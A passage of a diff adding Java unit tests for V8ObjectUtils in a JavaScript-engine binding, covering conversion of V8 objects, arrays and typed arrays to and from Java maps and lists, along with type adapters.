+        v8Object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testBackpointer() {
+        V8Object parent = v8.executeObjectScript("var parent = {};\n"
+                + "var child = {parent : parent};\n"
+                + "parent.child = child\n;"
+                + "parent;");
+
+        Map<String, Object> map = V8ObjectUtils.toMap(parent);
+
+        assertEquals(map, ((Map<String, Object>) map.get("child")).get("parent"));
+        parent.close();
+    }
+
+    @Test
+    public void testCloneV8Object() {
+        V8Object list = v8.executeObjectScript("var l = [{first:'ian', last:'bull'}, {first:'sadie', last:'bull'}]; l;");
+
+        V8Object v8Object = V8ObjectUtils.toV8Object(v8, V8ObjectUtils.toMap(list));
+
+        v8.add("l2", v8Object);
+        v8.executeBooleanScript("JSON.stringify(l) === JSON.stringify(l2);");
+        list.close();
+        v8Object.close();
+    }
+
+    @Test
+    public void testCloneV8Array() {
+        V8Array list = v8.executeArrayScript("var l = [{first:'ian', last:'bull'}, {first:'sadie', last:'bull'}]; l;");
+
+        V8Array v8Object = V8ObjectUtils.toV8Array(v8, V8ObjectUtils.toList(list));
+
+        v8.add("l2", v8Object);
+        v8.executeBooleanScript("JSON.stringify(l) === JSON.stringify(l2);");
+        list.close();
+        v8Object.close();
+    }
+
+    @Test
+    public void testCloneV8ObjectsWithCircularStructure() {
+        V8Object parent = v8.executeObjectScript("var parent = {};\n"
+                + "var child = {parent : parent};\n"
+                + "parent.child = child\n;"
+                + "parent;");
+
+        V8Object v8Object = V8ObjectUtils.toV8Object(v8, V8ObjectUtils.toMap(parent));
+
+        assertEquals(1, v8Object.getKeys().length);
+        assertEquals("child", v8Object.getKeys()[0]);
+        parent.close();
+        v8Object.close();
+    }
+
+    @Test
+    public void testEqualSiblings() {
+        V8Object parent = v8.executeObjectScript("var parent = {};\n"
+                + "var child = {parent : parent};\n"
+                + "parent.child1 = child\n;"
+                + "parent.child2 = child\n;"
+                + "parent;");
+
+        Map<String, Object> map = V8ObjectUtils.toMap(parent);
+
+        assertEquals((map.get("child2")), (map.get("child1")));
+        parent.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_ArrayBuffer() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var root = [buf];\n"
+                + "root;\n");
+
+        V8ArrayBuffer result = (V8ArrayBuffer) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(100, result.limit());
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Int8Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int8Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = [intsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(100, result.length());
+        assertEquals((byte) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Int8ArrayWithoutBackingStore() {
+        V8Array root = v8.executeArrayScript(""
+                + "var intsArray = new Int8Array(24);\n"
+                + "var root = [intsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(24, result.length());
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Uint8Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint8Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = [intsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(100, result.length());
+        assertEquals((short) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Uint8ClampedArray() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var int8ClampedArray = new Uint8ClampedArray(buf);\n"
+                + "int8ClampedArray[0] = 16;\n"
+                + "var root = [int8ClampedArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(100, result.length());
+        assertEquals((short) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Int16Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int16Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = [intsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(50, result.length());
+        assertEquals((short) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Uint16Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint16Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = [intsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(50, result.length());
+        assertEquals(16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Int32Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int32Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = [intsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(25, result.length());
+        assertEquals(16, result.get(0));
+        root.close();
+        result.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Uint32Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint32Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = [intsArray]\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(25, result.length());
+        assertEquals((long) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Float32Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(100);\n"
+                + "var floatsArray = new Float32Array(buf);\n"
+                + "floatsArray[0] = 16.2;\n"
+                + "var root = [floatsArray];"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(25, result.length());
+        assertEquals(16.2, (Float) result.get(0), 0.00001);
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayTypedArrayValue_Float64Array() {
+        V8Array root = v8.executeArrayScript("var buf = new ArrayBuffer(80);\n"
+                + "var floatsArray = new Float64Array(buf);\n"
+                + "floatsArray[0] = 16.2;\n"
+                + "var root = [floatsArray];\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, 0);
+
+        assertEquals(10, result.length());
+        assertEquals(16.2, (Double) result.get(0), 0.0001);
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testArrayBufferAsProperty() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var root = { 'items' : buf };\n"
+                + "root;\n");
+
+        V8ArrayBuffer result = (V8ArrayBuffer) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(100, result.limit());
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Int8Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int8Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = { 'items' : intsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(100, result.length());
+        assertEquals((byte) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Uint8Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint8Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = { 'items' : intsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(100, result.length());
+        assertEquals((short) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Uint8ClampedArray() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var int8ClampedArray = new Uint8ClampedArray(buf);\n"
+                + "int8ClampedArray[0] = 16;\n"
+                + "var root = { 'items' : int8ClampedArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(100, result.length());
+        assertEquals((short) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Int16Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int16Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = { 'items' : intsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(50, result.length());
+        assertEquals((short) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Uint16Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint16Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = { 'items' : intsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(50, result.length());
+        assertEquals(16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Int32Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Int32Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = { 'items' : intsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(25, result.length());
+        assertEquals(16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Uint32Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var intsArray = new Uint32Array(buf);\n"
+                + "intsArray[0] = 16;\n"
+                + "var root = { 'items' : intsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(25, result.length());
+        assertEquals((long) 16, result.get(0));
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Float32Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(100);\n"
+                + "var floatsArray = new Float32Array(buf);\n"
+                + "floatsArray[0] = 16.2;\n"
+                + "var root = { 'items' : floatsArray };"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(25, result.length());
+        assertEquals(16.2, (Float) result.get(0), 0.00001);
+        root.close();
+        result.close();
+    }
+
+    @Test
+    public void testTypedArrayValue_Float64Array() {
+        V8Object root = v8.executeObjectScript("var buf = new ArrayBuffer(80);\n"
+                + "var floatsArray = new Float64Array(buf);\n"
+                + "floatsArray[0] = 16.2;\n"
+                + "var root = { 'items' : floatsArray };\n"
+                + "root;\n");
+
+        V8TypedArray result = (V8TypedArray) V8ObjectUtils.getValue(root, "items");
+
+        assertEquals(10, result.length());
+        assertEquals(16.2, (Double) result.get(0), 0.0001);
+        root.close();
+        result.close();
+    }
+
+    /*
+    @Test
+    public void testTypedArrayInMap() {
+        Int8Array int8Array = new Int8Array(ByteBuffer.allocateDirect(8));
+        int8Array.put(0, (byte) 7);
+        HashMap<String, Object> map = new HashMap<String, Object>();
+        map.put("array", int8Array);
+
+        V8Object object = V8ObjectUtils.toV8Object(v8, map);
+
+        V8TypedArray v8Array = (V8TypedArray) object.get("array");
+        assertEquals(7, v8Array.get(0));
+        assertEquals(V8Value.INT_8_ARRAY, v8Array.getType());
+        v8Array.close();
+        object.close();
+    }
+    */
+
+    /*
+    @Test
+    public void testGetTypedArray() {
+        Int8Array int8Array = new Int8Array(ByteBuffer.allocateDirect(8));
+        int8Array.put(0, (byte) 7);
+
+        V8TypedArray v8Array = (V8TypedArray) V8ObjectUtils.getV8Result(v8, int8Array);
+
+        assertEquals(7, v8Array.get(0));
+        assertEquals(V8Value.INT_8_ARRAY, v8Array.getType());
+        v8Array.close();
+    }
+    */
+
+    /*
+    @Test
+    public void testByteBufferInMap() {
+        ArrayBuffer arrayBuffer = new ArrayBuffer(8);
+        HashMap<String, Object> map = new HashMap<String, Object>();
+        map.put("buffer", arrayBuffer);
+
+        V8Object object = V8ObjectUtils.toV8Object(v8, map);
+
+        V8ArrayBuffer v8ArrayBuffer = (V8ArrayBuffer) object.get("buffer");
+        assertEquals(arrayBuffer.getByteBuffer(), v8ArrayBuffer.getBackingStore());
+        v8ArrayBuffer.close();
+        object.close();
+    }
+    */
+
+    /*
+    @Test
+    public void testArrayBufferInList() {
+        ArrayBuffer arrayBuffer = new ArrayBuffer(8);
+        List<Object> list = new ArrayList<Object>();
+        list.add(arrayBuffer);
+
+        V8Array array = V8ObjectUtils.toV8Array(v8, list);
+
+        V8ArrayBuffer v8ArrayBuffer = (V8ArrayBuffer) array.get(0);
+        assertEquals(arrayBuffer.getByteBuffer(), v8ArrayBuffer.getBackingStore());
+        v8ArrayBuffer.close();
+        array.close();
+    }
+    */
+
+    /*
+    @Test
+    public void testGetArrayBuffer() {
+        ArrayBuffer arrayBuffer = new ArrayBuffer(8);
+
+        V8ArrayBuffer v8ArrayBuffer = (V8ArrayBuffer) V8ObjectUtils.getV8Result(v8, arrayBuffer);
+
+        assertEquals(arrayBuffer.getByteBuffer(), v8ArrayBuffer.getBackingStore());
+        v8ArrayBuffer.close();
+    }
+    */
+
+    /*
+    @Test
+    public void testGetArrayBufferNotReleased() {
+        ArrayBuffer arrayBuffer = new ArrayBuffer(8);
+
+        V8ArrayBuffer v8ArrayBuffer = (V8ArrayBuffer) V8ObjectUtils.getV8Result(v8, arrayBuffer);
+
+        assertFalse(v8ArrayBuffer.isReleased());
+        v8ArrayBuffer.close();
+    }
+    */
+
+    /*
+    @Test
+    public void testTypedArrayInList() {
+        Int8Array int8Array = new Int8Array(ByteBuffer.allocateDirect(8));
+        int8Array.put(0, (byte) 7);
+        List<Object> list = new ArrayList<Object>();
+        list.add(int8Array);
+
+        V8Array array = V8ObjectUtils.toV8Array(v8, list);
+
+        V8Array v8Array = (V8Array) array.get(0);
+        assertEquals(7, v8Array.get(0));
+        assertEquals(V8Value.INT_8_ARRAY, v8Array.getType());
+        v8Array.close();
+        array.close();
+    }
+    */
+
+    @Test
+    public void testPushV8ArrayToArray() {
+        V8Array array = new V8Array(v8);
+        V8Array child = new V8Array(v8);
+
+        V8ObjectUtils.pushValue(v8, array, child);
+
+        V8Object result = (V8Object) array.get(0);
+
+        assertEquals(child, result);
+        array.close();
+        result.close();
+        child.close();
+    }
+
+    @Test
+    public void testPushV8ObjectToArray() {
+        V8Array array = new V8Array(v8);
+        V8Object child = new V8Object(v8);
+
+        V8ObjectUtils.pushValue(v8, array, child);
+
+        V8Object result = (V8Object) array.get(0);
+
+        assertEquals(child, result);
+        array.close();
+        result.close();
+        child.close();
+    }
+
+    @Test
+    public void testPushV8TypedArrayToArray() {
+        V8Array array = new V8Array(v8);
+        V8ArrayBuffer buffer = new V8ArrayBuffer(v8, 10);
+        V8Object child = new V8TypedArray(v8, buffer, V8Value.INT_8_ARRAY, 0, 10);
+
+        V8ObjectUtils.pushValue(v8, array, child);
+
+        V8Object result = (V8Object) array.get(0);
+
+        assertEquals(child, result);
+        array.close();
+        result.close();
+        child.close();
+        buffer.close();
+    }
+
+    @Test
+    public void testV8ArrayBufferInMap() {
+        V8ArrayBuffer buffer = new V8ArrayBuffer(v8, 10);
+        Map<String, Object> map = new HashMap<String, Object>();
+        map.put("buffer", buffer);
+
+        V8Object v8Object = V8ObjectUtils.toV8Object(v8, map);
+
+        V8Value result = (V8Value) v8Object.get("buffer");
+        assertEquals(buffer, result);
+        buffer.close();
+        result.close();
+        v8Object.close();
+    }
+
+    @Test
+    public void testV8ArrayBufferInList() {
+        V8ArrayBuffer buffer = new V8ArrayBuffer(v8, 10);
+        List<Object> list = new ArrayList<Object>();
+        list.add(buffer);
+
+        V8Array v8Array = V8ObjectUtils.toV8Array(v8, list);
+
+        V8Value result = (V8Value) v8Array.get(0);
+        assertEquals(buffer, result);
+        buffer.close();
+        result.close();
+        v8Array.close();
+    }
+
+    @Test
+    public void testIntegerTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.INTEGER) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7;
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(7, map.get("a"));
+        assertEquals(3.14, (Double) map.get("b"), 0.00001);
+        assertEquals(false, map.get("c"));
+        assertEquals("string", map.get("d"));
+
+        object.close();
+    }
+
+    @Test
+    public void testDoubleTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.DOUBLE) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7.7;
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(7.7, (Double) map.get("b"), 0.00001);
+        assertEquals(false, map.get("c"));
+        assertEquals("string", map.get("d"));
+
+        object.close();
+    }
+
+    @Test
+    public void testBooleanTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.BOOLEAN) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return true;
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(3.14, (Double) map.get("b"), 0.00001);
+        assertEquals(true, map.get("c"));
+        assertEquals("string", map.get("d"));
+
+        object.close();
+    }
+
+    @Test
+    public void testStringTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:3.14, c:false, d:'string'}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.STRING) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "foo";
+            }
+        });
+
+        assertEquals(4, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(3.14, (Double) map.get("b"), 0.00001);
+        assertEquals(false, map.get("c"));
+        assertEquals("foo", map.get("d"));
+
+        object.close();
+    }
+
+    @Test
+    public void testObjectTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {b:{a:{}}}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "object";
+            }
+        });
+
+        assertEquals(1, map.size());
+        assertEquals("object", map.get("b"));
+
+        object.close();
+    }
+
+    @Test
+    public void testObjectNullTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {b:{a:{}}}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return null;
+            }
+        });
+
+        assertEquals(1, map.size());
+        assertNull(map.get("b"));
+
+        object.close();
+    }
+
+    @Test
+    public void testObjectUndefinedTypeAdapter_Map() {
+        V8Object object = v8.executeObjectScript("x = {b:{a:{}}}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return V8.getUndefined();
+            }
+        });
+
+        assertEquals(1, map.size());
+        assertEquals(V8.getUndefined(), map.get("b"));
+
+        object.close();
+    }
+
+    @Test
+    public void testIntegerTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.INTEGER) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7;
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(7, list.get(0));
+        assertEquals(3.14, (Double) list.get(1), 0.00001);
+        assertEquals(false, list.get(2));
+        assertEquals("string", list.get(3));
+
+        array.close();
+    }
+
+    @Test
+    public void testDoubleTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.DOUBLE) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return 7.7;
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(7.7, (Double) list.get(1), 0.00001);
+        assertEquals(false, list.get(2));
+        assertEquals("string", list.get(3));
+
+        array.close();
+    }
+
+    @Test
+    public void testBooleanTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.BOOLEAN) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return true;
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(3.14, (Double) list.get(1), 0.00001);
+        assertEquals(true, list.get(2));
+        assertEquals("string", list.get(3));
+
+        array.close();
+    }
+
+    @Test
+    public void testStringTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [1, 3.14, false, 'string']; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.STRING) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "foo";
+            }
+        });
+
+        assertEquals(4, list.size());
+        assertEquals(1, list.get(0));
+        assertEquals(3.14, (Double) list.get(1), 0.00001);
+        assertEquals(false, list.get(2));
+        assertEquals("foo", list.get(3));
+
+        array.close();
+    }
+
+    @Test
+    public void testObjectTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [{a:{}}]; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return "object";
+            }
+        });
+
+        assertEquals(1, list.size());
+        assertEquals("object", list.get(0));
+
+        array.close();
+    }
+
+    @Test
+    public void testObjectNullTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [{a:{}}]; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return null;
+            }
+        });
+
+        assertEquals(1, list.size());
+        assertNull(list.get(0));
+
+        array.close();
+    }
+
+    @Test
+    public void testObjectUndefinedTypeAdapter_List() {
+        V8Array array = v8.executeArrayScript("x = [{a:{}}]; x");
+
+        List<? super Object> list = V8ObjectUtils.toList(array, new SingleTypeAdapter(V8Value.V8_OBJECT) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return V8.getUndefined();
+            }
+        });
+
+        assertEquals(1, list.size());
+        assertEquals(V8.getUndefined(), list.get(0));
+
+        array.close();
+    }
+
+    @Test
+    public void testCreateFunctionMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = {a:function() {return 'a'}, b:function(){return 'b'}}; x");
+        MemoryManager memoryManager = new MemoryManager(v8);
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object, new SingleTypeAdapter(V8Value.V8_FUNCTION) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return ((V8Function) value).twin();
+            }
+        });
+
+        assertEquals(2, map.size());
+        assertEquals("a", ((V8Function) map.get("a")).call(null, null));
+        assertEquals("b", ((V8Function) map.get("b")).call(null, null));
+
+        memoryManager.release();
+        object.close();
+    }
+
+    @Test
+    public void testCreateFunctionListFromV8Object() {
+        V8Array object = v8.executeArrayScript("x = [function() {return 'a'}, function(){return 'b'}]; x");
+        MemoryManager memoryManager = new MemoryManager(v8);
+
+        List<? super Object> list = V8ObjectUtils.toList(object, new SingleTypeAdapter(V8Value.V8_FUNCTION) {
+
+            @Override
+            public Object adapt(final Object value) {
+                return ((V8Function) value).twin();
+            }
+        });
+
+        assertEquals(2, list.size());
+        assertEquals("a", ((V8Function) list.get(0)).call(null, null));
+        assertEquals("b", ((V8Function) list.get(1)).call(null, null));
+
+        memoryManager.release();
+        object.close();
+    }
+
+    @Test
+    public void testGetValue_Integer() {
+        int result = (Integer) V8ObjectUtils.getValue(7);
+
+        assertEquals(7, result);
+    }
+
+    @Test
+    public void testGetValue_Double() {
+        double result = (Double) V8ObjectUtils.getValue(3.14);
+
+        assertEquals(3.14, result, 0.00001);
+    }
+
+    @Test
+    public void testGetValue_Boolean() {
+        boolean result = (Boolean) V8ObjectUtils.getValue(false);
+
+        assertFalse(result);
+    }
+
+    @Test
+    public void testGetValue_String() {
+        String result = (String) V8ObjectUtils.getValue("foo");
+
+        assertEquals("foo", result);
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateIntegerMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:2, c:3}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(3, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(2, map.get("b"));
+        assertEquals(3, map.get("c"));
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateMapWithFunction_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a : function() {return 1;}, b : 'foo'}; x;");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(1, map.size());
+        assertEquals("foo", map.get("b"));
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateListWithFunction_GetValue() {
+        V8Array array = v8.executeArrayScript("x = [function() {return 1;}, 'foo']; x;");
+
+        List<Object> list = (List<Object>) V8ObjectUtils.getValue(array);
+
+        assertEquals(1, list.size());
+        assertEquals("foo", list.get(0));
+        array.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateDoubleMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:1.1, b:2.2, c:3.3, d:4.4}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(4, map.size());
+        assertEquals(1.1, (Double) map.get("a"), 0.000001);
+        assertEquals(2.2, (Double) map.get("b"), 0.000001);
+        assertEquals(3.3, (Double) map.get("c"), 0.000001);
+        assertEquals(4.4, (Double) map.get("d"), 0.000001);
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateStringMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:'foo', b:'bar', c:'baz', d:'boo'}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(4, map.size());
+        assertEquals("foo", map.get("a"));
+        assertEquals("bar", map.get("b"));
+        assertEquals("baz", map.get("c"));
+        assertEquals("boo", map.get("d"));
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateBooleanMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {a:true, b:1==1, c:false, d:1!=1}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(4, map.size());
+        assertTrue((Boolean) map.get("a"));
+        assertTrue((Boolean) map.get("b"));
+        assertFalse((Boolean) map.get("c"));
+        assertFalse((Boolean) map.get("d"));
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateMixedMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = {boolean:true, integer:1, double:3.14159, string:'hello'}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(4, map.size());
+        assertTrue((Boolean) map.get("boolean"));
+        assertEquals(1, (int) (Integer) map.get("integer"));
+        assertEquals(3.14159, (Double) map.get("double"), 0.0000001);
+        assertEquals("hello", map.get("string"));
+        object.close();
+    }
+
+    @SuppressWarnings({ "rawtypes", "unchecked" })
+    @Test
+    public void testCreateNestedMapFromV8Object_GetValue() {
+        V8Object object = v8.executeObjectScript("x = { name : { first :'john', last: 'smith'}, age: 7}; x");
+
+        Map<String, ? super Object> map = (Map<String, ? super Object>) V8ObjectUtils.getValue(object);
+
+        assertEquals(2, map.size());
+        assertEquals(7, map.get("age"));
+        assertEquals("john", ((Map) map.get("name")).get("first"));
+        assertEquals("smith", ((Map) map.get("name")).get("last"));
+        object.close();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testCreateListFromV8Array_GetValue() {
